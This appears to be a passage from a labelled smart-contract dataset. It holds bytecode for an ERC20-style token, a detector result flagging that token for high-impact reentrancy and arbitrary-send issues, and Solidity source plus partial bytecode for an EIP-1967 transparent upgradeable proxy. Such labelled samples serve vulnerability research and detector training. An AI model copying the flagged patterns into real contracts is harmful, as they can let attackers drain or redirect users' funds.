fffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f226ffb6d66066deeda7a4992883c9522538bede5c0a23f4f860bc757456db5b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,896 |
0x567C268a3aF060088e53F6487872eB7D31DffA4f
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;
interface IWSProxy {
function initialize(address _implementation, address _admin, bytes calldata _data) external;
function upgradeTo(address _proxy) external;
function upgradeToAndCall(address _proxy, bytes calldata data) external payable;
function changeAdmin(address newAdmin) external;
function admin() external returns (address);
function implementation() external returns (address);
}
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_delegate(_implementation());
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) virtual internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
address implementation = _implementation();
require(implementation != newImplementation, "WSProxy: Attemps update proxy with the same implementation");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy, IWSProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor() public payable UpgradeableProxy() {
require(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1), "Wrong admin slot");
_setAdmin(msg.sender);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external override ifAdmin returns (address) {
return _admin();
}
function initialize(address _newImplementation, address _admin, bytes calldata _data) external override ifAdmin {
_upgradeTo(_newImplementation);
_setAdmin(_admin);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _implementation().delegatecall(_data);
require(success);
}
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external override ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external override ifAdmin {
require(newAdmin != _admin(), "WSProxy: new admin is the same admin.");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external override ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external override payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
require(newAdmin != address(0), "WSProxy: Can't set admin to zero address.");
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
contract WSProxyRouter is TransparentUpgradeableProxy {
constructor() public payable TransparentUpgradeableProxy() {
}
}
|
0x6080604052600436106100695760003560e01c80638f283970116100435780638f28397014610196578063cf7a1d77146101d6578063f851a4401461027957610080565b80633659cfe61461008b5780634f1ef286146100cb5780635c60da1b1461015857610080565b366100805761007e61007961028e565b6102b3565b005b61007e61007961028e565b34801561009757600080fd5b5061007e600480360360208110156100ae57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166102dc565b61007e600480360360408110156100e157600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561011957600080fd5b82018360208201111561012b57600080fd5b8035906020019184600183028401116401000000008311171561014d57600080fd5b509092509050610330565b34801561016457600080fd5b5061016d6103ff565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156101a257600080fd5b5061007e600480360360208110156101b957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610456565b3480156101e257600080fd5b5061007e600480360360608110156101f957600080fd5b73ffffffffffffffffffffffffffffffffffffffff823581169260208101359091169181019060608101604082013564010000000081111561023a57600080fd5b82018360208201111561024c57600080fd5b8035906020019184600183028401116401000000008311171561026e57600080fd5b50909250905061057e565b34801561028557600080fd5b5061016d61066a565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102d2573d6000f35b3d6000fd5b505050565b6102e46106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561032557610320816106d0565b61032d565b61032d61071d565b50565b6103386106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f757610374836106d0565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d8060